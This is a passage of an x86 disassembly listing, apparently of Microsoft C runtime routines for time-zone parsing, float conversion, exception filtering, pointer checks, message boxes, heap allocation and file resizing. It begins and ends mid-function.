= dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41DE91 cmp ebx, edi jz short loc_41DE8A lea edi, [ecx+3C00h] jmp short loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DE8A: ; CODE XREF: sub_41DE43+3Dj mov edi, 7FFFh jmp short loc_41DEB2 ; --------------------------------------------------------------------------- loc_41DE91: ; CODE XREF: sub_41DE43+39j xor ebx, ebx cmp eax, ebx jnz short loc_41DEA9 cmp edx, ebx jnz short loc_41DEA9 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41DEF4 ; --------------------------------------------------------------------------- loc_41DEA9: ; CODE XREF: sub_41DE43+52j ; sub_41DE43+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41DEB2: ; CODE XREF: sub_41DE43+45j ; sub_41DE43+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41DECA: ; CODE XREF: sub_41DE43+A6j test ecx, esi jnz short loc_41DEEB mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41DECA ; --------------------------------------------------------------------------- loc_41DEEB: ; CODE XREF: sub_41DE43+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41DEF4: ; CODE XREF: sub_41DE43+64j pop edi pop esi pop ebx leave retn sub_41DE43 endp ; --------------------------------------------------------------------------- push 2 call sub_417BEE pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41DF02 proc near ; DATA XREF: sub_41DF48o ; .nsp0:004380C0o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41DF25 cmp dword ptr [eax+10h], 3 jnz short loc_41DF25 cmp dword ptr [eax+14h], 19930520h jnz short loc_41DF25 jmp sub_41AB9C ; --------------------------------------------------------------------------- loc_41DF25: ; CODE XREF: sub_41DF02+Dj ; sub_41DF02+13j ... mov eax, dword_469690 test eax, eax jz short loc_41DF42 push eax call sub_41DF9E test eax, eax pop ecx jz short loc_41DF42 push esi call dword_469690 jmp short loc_41DF44 ; --------------------------------------------------------------------------- loc_41DF42: ; CODE XREF: sub_41DF02+2Aj ; sub_41DF02+35j xor eax, eax loc_41DF44: ; CODE XREF: sub_41DF02+3Ej pop esi retn 4 sub_41DF02 endp ; =============== S U B R O U T I N E ======================================= sub_41DF48 proc near ; DATA XREF: .nsp0:00423024o push offset sub_41DF02 call dword_42101C ; SetUnhandledExceptionFilter mov dword_469690, eax retn sub_41DF48 endp ; =============== S U B R O U T I N E ======================================= sub_41DF59 proc near ; DATA XREF: .nsp0:0042303Co push dword_469690 call dword_42101C ; SetUnhandledExceptionFilter retn sub_41DF59 endp ; =============== S U B R O U T I N E ======================================= sub_41DF66 proc near ; CODE XREF: sub_41A3EE+6Bp ; sub_41A8FF+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_421018 ; IsBadReadPtr test eax, eax jz short loc_41DF7E xor esi, esi loc_41DF7E: ; CODE XREF: sub_41DF66+14j mov eax, esi pop esi retn sub_41DF66 endp ; =============== S U B R O U T I N E ======================================= sub_41DF82 proc near ; CODE XREF: sub_41A8FF+73p ; sub_41A8FF+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_421180 ; IsBadWritePtr test eax, eax jz short loc_41DF9A xor esi, esi loc_41DF9A: ; CODE XREF: sub_41DF82+14j mov eax, esi pop esi retn sub_41DF82 endp ; =============== S U B R O U T I N E ======================================= sub_41DF9E proc near ; CODE XREF: sub_41A8FF+15Bp ; sub_41DF02+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_421014 ; IsBadCodePtr test eax, eax jz short loc_41DFB2 xor esi, esi loc_41DFB2: ; CODE XREF: sub_41DF9E+10j mov eax, esi pop esi retn sub_41DF9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AB9C loc_41DFB6: ; CODE XREF: sub_41AB9C:loc_41ABEDj push 0Ah call sub_41CF19 push 16h call sub_41F297 pop ecx pop ecx push 3 call sub_417838 ; END OF FUNCTION CHUNK FOR sub_41AB9C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFCD proc near ; CODE XREF: sub_41AD3D+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41DFF0 cmp [ebp+arg_8], ebx jz short loc_41DFF0 mov al, [esi] cmp al, bl jnz short loc_41DFF6 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41DFF0 mov [eax], bx loc_41DFF0: ; CODE XREF: sub_41DFCD+Cj ; sub_41DFCD+11j ... xor eax, eax loc_41DFF2: ; CODE XREF: sub_41DFCD+42j ; sub_41DFCD+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41DFF6: ; CODE XREF: sub_41DFCD+17j cmp dword_469528, ebx jnz short loc_41E011 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41E00C movzx ax, al mov [ecx], ax loc_41E00C: ; CODE XREF: sub_41DFCD+36j ; sub_41DFCD+C0j push 1 pop eax jmp short loc_41DFF2 ; --------------------------------------------------------------------------- loc_41E011: ; CODE XREF: sub_41DFCD+2Fj mov ecx, off_437D70 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41E06E mov eax, dword_437F7C cmp eax, 1 jle short loc_41E055 cmp [ebp+arg_8], eax jl short loc_41E05F xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_469538 call dword_421064 ; MultiByteToWideChar test eax, eax mov eax, dword_437F7C jnz short loc_41DFF2 loc_41E055: ; CODE XREF: sub_41DFCD+5Cj cmp [ebp+arg_8], eax jb short loc_41E05F cmp [esi+1], bl jnz short loc_41DFF2 loc_41E05F: ; CODE XREF: sub_41DFCD+61j ; sub_41DFCD+8Bj ... mov dword_469494, 2Ah or eax, 0FFFFFFFFh jmp short loc_41DFF2 ; --------------------------------------------------------------------------- loc_41E06E: ; CODE XREF: sub_41DFCD+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_469538 call dword_421064 ; MultiByteToWideChar test eax, eax jnz loc_41E00C jmp short loc_41E05F sub_41DFCD endp ; =============== S U B R O U T I N E ======================================= sub_41E095 proc near ; CODE XREF: sub_41AD3D+76p ; sub_41AD3D+88p ... arg_0 = dword ptr 4 cmp dword_437F7C, 1 jle short loc_41E0AC push 8 push [esp+4+arg_0] call sub_418556 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E0AC: ; CODE XREF: sub_41E095+7j mov eax, [esp+arg_0] mov ecx, off_437D70 mov al, [ecx+eax*2] and eax, 8 retn sub_41E095 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E0C0 proc near ; CODE XREF: sub_41AD3D+797p ; sub_41AD3D+7E7p cmp cl, 40h jnb short loc_41E0DA cmp cl, 20h jnb short loc_41E0D0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41E0D0: ; CODE XREF: sub_41E0C0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41E0DA: ; CODE XREF: sub_41E0C0+3j xor eax, eax xor edx, edx retn sub_41E0C0 endp ; =============== S U B R O U T I N E ======================================= sub_41E0DF proc near ; CODE XREF: sub_41B7B3+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41E12B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41E0FD test al, 80h jz short loc_41E12B test al, 2 jnz short loc_41E12B loc_41E0FD: ; CODE XREF: sub_41E0DF+14j cmp dword ptr [esi+8], 0 jnz short loc_41E10A push esi call sub_41D06C pop ecx loc_41E10A: ; CODE XREF: sub_41E0DF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41E11A cmp dword ptr [esi+4], 0 jnz short loc_41E12B inc eax mov [esi], eax loc_41E11A: ; CODE XREF: sub_41E0DF+30j test byte ptr [esi+0Ch], 40h jz short loc_41E131 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41E137 inc eax mov [esi], eax loc_41E12B: ; CODE XREF: sub_41E0DF+9j ; sub_41E0DF+18j ... or eax, 0FFFFFFFFh loc_41E12E: ; CODE XREF: sub_41E0DF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E131: ; CODE XREF: sub_41E0DF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41E137: ; CODE XREF: sub_41E0DF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41E12E sub_41E0DF endp ; =============== S U B R O U T I N E ======================================= sub_41E14D proc near ; CODE XREF: sub_41B7EE:loc_41B82Dp cmp dword_469750, 0 jnz short locret_41E161 call sub_41E162 inc dword_469750 locret_41E161: ; CODE XREF: sub_41E14D+7j retn sub_41E14D endp ; =============== S U B R O U T I N E ======================================= sub_41E162 proc near ; CODE XREF: sub_41E14D+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_469698, ebp mov dword_4387C8, ebx mov dword_4387B8, ebx call sub_41F409 mov esi, eax pop ecx cmp esi, ebp jnz loc_41E28B push offset dword_4696A0 call dword_421158 ; GetTimeZoneInformation cmp eax, ebx jz loc_41E3BA mov eax, dword_4696A0 mov ecx, dword_4696F4 imul eax, 3Ch cmp word_4696E6, bp push 1 pop edx mov dword_438720, eax mov dword_469698, edx jz short loc_41E1D9 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_438720, eax loc_41E1D9: ; CODE XREF: sub_41E162+69j cmp word_46973A, bp jz short loc_41E1FD mov eax, dword_469748 cmp eax, ebp jz short loc_41E1FD sub eax, ecx mov dword_438724, edx imul eax, 3Ch mov dword_438728, eax jmp short loc_41E209 ; --------------------------------------------------------------------------- loc_41E1FD: ; CODE XREF: sub_41E162+7Ej ; sub_41E162+87j mov dword_438724, ebp mov dword_438728, ebp loc_41E209: ; CODE XREF: sub_41E162+99j lea eax, [esp+14h+var_4] mov esi, dword_421138 push eax push ebp push 3Fh mov edi, 220h push off_4387AC push ebx push offset dword_4696A4 push edi push dword_469538 call esi ; WideCharToMultiByte test eax, eax jz short loc_41E246 cmp [esp+14h+var_4], ebp jnz short loc_41E246 mov eax, off_4387AC and byte ptr [eax+3Fh], 0 jmp short loc_41E24E ; --------------------------------------------------------------------------- loc_41E246: ; CODE XREF: sub_41E162+D1j ; sub_41E162+D7j mov eax, off_4387AC and byte ptr [eax], 0 loc_41E24E: ; CODE XREF: sub_41E162+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4387B0 push ebx push offset dword_4696F8 push edi push dword_469538 call esi ; WideCharToMultiByte test eax, eax jz loc_41E3B2 cmp [esp+14h+var_4], ebp jnz loc_41E3B2 mov eax, off_4387B0 and byte ptr [eax+3Fh], 0 jmp loc_41E3BA ; --------------------------------------------------------------------------- loc_41E28B: ; CODE XREF: sub_41E162+2Dj cmp byte ptr [esi], 0 jz loc_41E3BA mov eax, dword_46974C cmp eax, ebp jz short loc_41E2AE push eax push esi call sub_415910 pop ecx test eax, eax pop ecx jz loc_41E3BA loc_41E2AE: ; CODE XREF: sub_41E162+139j push dword_46974C call sub_415E3D push esi call sub_415CF0 inc eax push eax call sub_415DC9 add esp, 0Ch cmp eax, ebp mov dword_46974C, eax jz loc_41E3BA push esi push eax call sub_415C00 push 3 push esi push off_4387AC call sub_416D40 mov eax, off_4387AC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41E303 push 1 inc esi pop edi loc_41E303: ; CODE XREF: sub_41E162+19Bj push esi call sub_4159D4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_438720, ecx loc_41E31A: ; CODE XREF: sub_41E162+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41E328 cmp al, bl jl short loc_41E32B cmp al, 39h jg short loc_41E32B loc_41E328: ; CODE XREF: sub_41E162+1BCj inc esi jmp short loc_41E31A ; --------------------------------------------------------------------------- loc_41E32B: ; CODE XREF: sub_41E162+1C0j ; sub_41E162+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41E37E inc esi push esi call sub_4159D4 imul eax, 3Ch pop ecx mov ecx, dword_438720 add ecx, eax mov dword_438720, ecx loc_41E349: ; CODE XREF: sub_41E162+1F2j mov al, [esi] cmp al, bl jl short loc_41E356 cmp al, 39h jg short loc_41E356 inc esi jmp short loc_41E349 ; --------------------------------------------------------------------------- loc_41E356: ; CODE XREF: sub_41E162+1EBj ; sub_41E162+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41E37E inc esi push esi call sub_4159D4 pop ecx mov ecx, dword_438720 add ecx, eax mov dword_438720, ecx loc_41E371: ; CODE XREF: sub_41E162+21Aj mov al, [esi] cmp al, bl jl short loc_41E37E cmp al, 39h jg short loc_41E37E inc esi jmp short loc_41E371 ; --------------------------------------------------------------------------- loc_41E37E: ; CODE XREF: sub_41E162+1CCj ; sub_41E162+1F7j ... cmp edi, ebp jz short loc_41E38A neg ecx mov dword_438720, ecx loc_41E38A: ; CODE XREF: sub_41E162+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_438724, eax jz short loc_41E3B2 push 3 push esi push off_4387B0 call sub_416D40 mov eax, off_4387B0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41E3BA ; --------------------------------------------------------------------------- loc_41E3B2: ; CODE XREF: sub_41E162+10Bj ; sub_41E162+115j ... mov eax, off_4387B0 and byte ptr [eax], 0 loc_41E3BA: ; CODE XREF: sub_41E162+40j ; sub_41E162+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41E162 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C0 proc near ; CODE XREF: sub_41B7EE+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_438724, edi jnz short loc_41E3D4 loc_41E3CD: ; CODE XREF: sub_41E3C0+148j ; sub_41E3C0+150j ... xor eax, eax jmp loc_41E520 ; --------------------------------------------------------------------------- loc_41E3D4: ; CODE XREF: sub_41E3C0+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4387B8 jnz short loc_41E3F2 cmp eax, dword_4387C8 jz loc_41E4F4 loc_41E3F2: ; CODE XREF: sub_41E3C0+24j cmp dword_469698, edi jz loc_41E4CA movzx ecx, word_469746 push ecx cmp word_469738, di movzx ecx, word_469744 push ecx movzx ecx, word_469742 push ecx movzx ecx, word_469740 push ecx jnz short loc_41E444 movzx ecx, word_46973C push edi push ecx movzx ecx, word_46973E push ecx movzx ecx, word_46973A push ecx push eax push ebx jmp short loc_41E458 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E3C0+65j movzx ecx, word_46973E push ecx push edi movzx ecx, word_46973A push edi push ecx push eax push edi loc_41E458: ; CODE XREF: sub_41E3C0+82j push ebx call sub_41E56C movzx eax, word_4696F2 add esp, 2Ch cmp word_4696E4, di push eax movzx eax, word_4696F0 push eax movzx eax, word_4696EE push eax movzx eax, word_4696EC push eax jnz short loc_41E4B2 movzx eax, word_4696E8 push edi push eax movzx eax, word_4696EA push eax movzx eax, word_4696E6 push eax push dword ptr [esi+14h] push ebx loc_41E4A7: ; CODE XREF: sub_41E3C0+108j push edi call sub_41E56C add esp, 2Ch jmp short loc_41E4F4 ; --------------------------------------------------------------------------- loc_41E4B2: ; CODE XREF: sub_41E3C0+C8j movzx eax, word_4696EA push eax push edi movzx eax, word_4696E6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41E4A7 ; --------------------------------------------------------------------------- loc_41E4CA: ; CODE XREF: sub_41E3C0+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41E56C push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41E56C add esp, 58h loc_41E4F4: ; CODE XREF: sub_41E3C0+2Cj ; sub_41E3C0+F0j mov edx, dword_4387BC mov eax, dword_4387CC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41E524 cmp ecx, edx jl loc_41E3CD cmp ecx, eax jg loc_41E3CD cmp ecx, edx jle short loc_41E538 cmp ecx, eax jge short loc_41E538 loc_41E51E: ; CODE XREF: sub_41E3C0+166j ; sub_41E3C0+16Aj mov eax, ebx loc_41E520: ; CODE XREF: sub_41E3C0+Fj ; sub_41E3C0+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E524: ; CODE XREF: sub_41E3C0+144j cmp ecx, eax jl short loc_41E51E cmp ecx, edx jg short loc_41E51E cmp ecx, eax jle short loc_41E538 cmp ecx, edx jl loc_41E3CD loc_41E538: ; CODE XREF: sub_41E3C0+158j ; sub_41E3C0+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41E55F xor ecx, ecx cmp eax, dword_4387C0 setnl cl loc_41E55B: ; CODE XREF: sub_41E3C0+1AAj mov eax, ecx jmp short loc_41E520 ; --------------------------------------------------------------------------- loc_41E55F: ; CODE XREF: sub_41E3C0+18Ej xor ecx, ecx cmp eax, dword_4387D0 setl cl jmp short loc_41E55B sub_41E3C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E56C proc near ; CODE XREF: sub_41E3C0+99p ; sub_41E3C0+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41E607 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41E597 shl esi, 2 mov eax, dword_4387D0[esi] jmp short loc_41E5A0 ; --------------------------------------------------------------------------- loc_41E597: ; CODE XREF: sub_41E56C+1Ej shl esi, 2 mov eax, dword_438804[esi] loc_41E5A0: ; CODE XREF: sub_41E56C+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41E5DA imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41E5E4 ; --------------------------------------------------------------------------- loc_41E5DA: ; CODE XREF: sub_41E56C+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41E5E4: ; CODE XREF: sub_41E56C+6Cj cmp [ebp+arg_10], 5 jnz short loc_41E622 cmp [ebp+arg_8], 0 jnz short loc_41E5F8 mov esi, dword_4387D4[esi] jmp short loc_41E5FE ; --------------------------------------------------------------------------- loc_41E5F8: ; CODE XREF: sub_41E56C+82j mov esi, dword_438808[esi] loc_41E5FE: ; CODE XREF: sub_41E56C+8Aj cmp ecx, esi jle short loc_41E622 sub ecx, 7 jmp short loc_41E622 ; --------------------------------------------------------------------------- loc_41E607: ; CODE XREF: sub_41E56C+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41E618 mov ecx, dword_4387D0[eax*4] jmp short loc_41E61F ; --------------------------------------------------------------------------- loc_41E618: ; CODE XREF: sub_41E56C+A1j mov ecx, dword_438804[eax*4] loc_41E61F: ; CODE XREF: sub_41E56C+AAj add ecx, [ebp+arg_18] loc_41E622: ; CODE XREF: sub_41E56C+7Cj ; sub_41E56C+94j ... cmp [ebp+arg_0], 1 jnz short loc_41E653 mov eax, [ebp+arg_1C] mov dword_4387BC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4387B8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4387C0, eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E653: ; CODE XREF: sub_41E56C+BAj mov eax, [ebp+arg_1C] mov dword_4387CC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_438728 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4387D0, eax jns short loc_41E68B add eax, 5265C00h dec ecx mov dword_4387D0, eax jmp short loc_41E69C ; --------------------------------------------------------------------------- loc_41E68B: ; CODE XREF: sub_41E56C+110j mov edx, 5265C00h cmp eax, edx jl short loc_41E6A2 sub eax, edx inc ecx mov dword_4387D0, eax loc_41E69C: ; CODE XREF: sub_41E56C+11Dj mov dword_4387CC, ecx loc_41E6A2: ; CODE XREF: sub_41E56C+126j mov dword_4387C8, ebx loc_41E6A8: ; CODE XREF: sub_41E56C+E5j pop esi pop ebx pop ebp retn sub_41E56C endp ; =============== S U B R O U T I N E ======================================= sub_41E6AC proc near ; CODE XREF: sub_41C7C2+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41E6BD add esp, 0Ch retn sub_41E6AC endp ; =============== S U B R O U T I N E ======================================= sub_41E6BD proc near ; CODE XREF: sub_41E6AC+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_46A9E1[eax], cl jnz short loc_41E6EA cmp [esp+arg_4], 0 jz short loc_41E6E3 movzx eax, word_437D7A[eax*2] and eax, [esp+arg_4] jmp short loc_41E6E5 ; --------------------------------------------------------------------------- loc_41E6E3: ; CODE XREF: sub_41E6BD+16j xor eax, eax loc_41E6E5: ; CODE XREF: sub_41E6BD+24j test eax, eax jnz short loc_41E6EA retn ; --------------------------------------------------------------------------- loc_41E6EA: ; CODE XREF: sub_41E6BD+Fj ; sub_41E6BD+2Aj push 1 pop eax retn sub_41E6BD endp ; =============== S U B R O U T I N E ======================================= sub_41E6EE proc near ; CODE XREF: sub_41CF19+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_469754, ebx push esi push edi jnz short loc_41E73D push offset aUser32_dll ; "user32.dll" call dword_4210C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_41E773 mov esi, dword_4210C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_469754, eax jz short loc_41E773 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_469758, eax call esi ; GetProcAddress mov dword_46975C, eax loc_41E73D: ; CODE XREF: sub_41E6EE+Bj mov eax, dword_469758 test eax, eax jz short loc_41E75C call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_41E75C mov eax, dword_46975C test eax, eax jz short loc_41E75C push ebx call eax ; GetLastActivePopup mov ebx, eax loc_41E75C: ; CODE XREF: sub_41E6EE+56j ; sub_41E6EE+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_469754 ; MessageBoxA loc_41E76F: ; CODE XREF: sub_41E6EE+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E773: ; CODE XREF: sub_41E6EE+1Cj ; sub_41E6EE+33j xor eax, eax jmp short loc_41E76F sub_41E6EE endp ; =============== S U B R O U T I N E ======================================= sub_41E777 proc near ; CODE XREF: sub_41D0D6+22p ; sub_41D0D6+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_41E797 test esi, esi jnz short loc_41E791 push 1 pop esi loc_41E791: ; CODE XREF: sub_41E777+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_41E797: ; CODE XREF: sub_41E777+11j ; sub_41E777+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41E7C8 cmp ebx, dword_437F8C ja short loc_41E7B3 push ebx call sub_418E53 mov edi, eax pop ecx test edi, edi jnz short loc_41E7DE loc_41E7B3: ; CODE XREF: sub_41E777+2Dj push esi push 8 push dword_46AB00 call dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41E7EA loc_41E7C8: ; CODE XREF: sub_41E777+25j cmp dword_4694F4, 0 jz short loc_41E7EA push esi call sub_418A68 test eax, eax pop ecx jz short loc_41E7F0 jmp short loc_41E797 ; --------------------------------------------------------------------------- loc_41E7DE: ; CODE XREF: sub_41E777+3Aj push ebx push 0 push edi call sub_415570 add esp, 0Ch loc_41E7EA: ; CODE XREF: sub_41E777+4Fj ; sub_41E777+58j mov eax, edi loc_41E7EC: ; CODE XREF: sub_41E777+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E7F0: ; CODE XREF: sub_41E777+63j xor eax, eax jmp short loc_41E7EC sub_41E777 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D17B loc_41E7F4: ; CODE XREF: sub_41D17B+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_46A7A0, esi jle short loc_41E847 loc_41E803: ; CODE XREF: sub_41D17B+16CAj mov eax, dword_469780 mov eax, [eax+esi*4] test eax, eax jz short loc_41E83E test byte ptr [eax+0Ch], 83h jz short loc_41E822 push eax call sub_415B40 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E822 inc edi loc_41E822: ; CODE XREF: sub_41D17B+1698j ; sub_41D17B+16A4j cmp esi, 14h jl short loc_41E83E mov eax, dword_469780 push dword ptr [eax+esi*4] call sub_415E3D mov eax, dword_469780 pop ecx and dword ptr [eax+esi*4], 0 loc_41E83E: ; CODE XREF: sub_41D17B+1692j ; sub_41D17B+16AAj inc esi cmp esi, dword_46A7A0 jl short loc_41E803 loc_41E847: ; CODE XREF: sub_41D17B+1686j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41D17B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E84C proc near ; CODE XREF: sub_41D55A+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_415D70 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_46A8C0 jnb loc_41E981 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_46A7C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41E981 push 1 push esi push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41E98B push 2 push esi push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41E98B push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41E92E push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_415570 push 8000h push ebx call sub_41F486 add esp, 14h mov [ebp+arg_4], eax loc_41E8E2: ; CODE XREF: sub_41E84C+BDj mov eax, 1000h cmp edi, eax jge short loc_41E8ED mov eax, edi loc_41E8ED: ; CODE XREF: sub_41E84C+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41C42A add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41E90B sub edi, eax test edi, edi jle short loc_41E921 jmp short loc_41E8E2 ; --------------------------------------------------------------------------- loc_41E90B: ; CODE XREF: sub_41E84C+B5j cmp dword_469498, 5 jnz short loc_41E91E mov dword_469494, 0Dh loc_41E91E: ; CODE XREF: sub_41E84C+C6j or esi, 0FFFFFFFFh loc_41E921: ; CODE XREF: sub_41E84C+BBj push [ebp+arg_4] push ebx call sub_41F486 pop ecx pop ecx jmp short loc_41E96E ; --------------------------------------------------------------------------- loc_41E92E: ; CODE XREF: sub_41E84C+71j jge short loc_41E96E push 0 push [ebp+arg_4] push ebx call sub_41BB7F push ebx call sub_41D4C6 add esp, 10h push eax call dword_421010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41E96E mov dword_469494, 0Dh call dword_421088 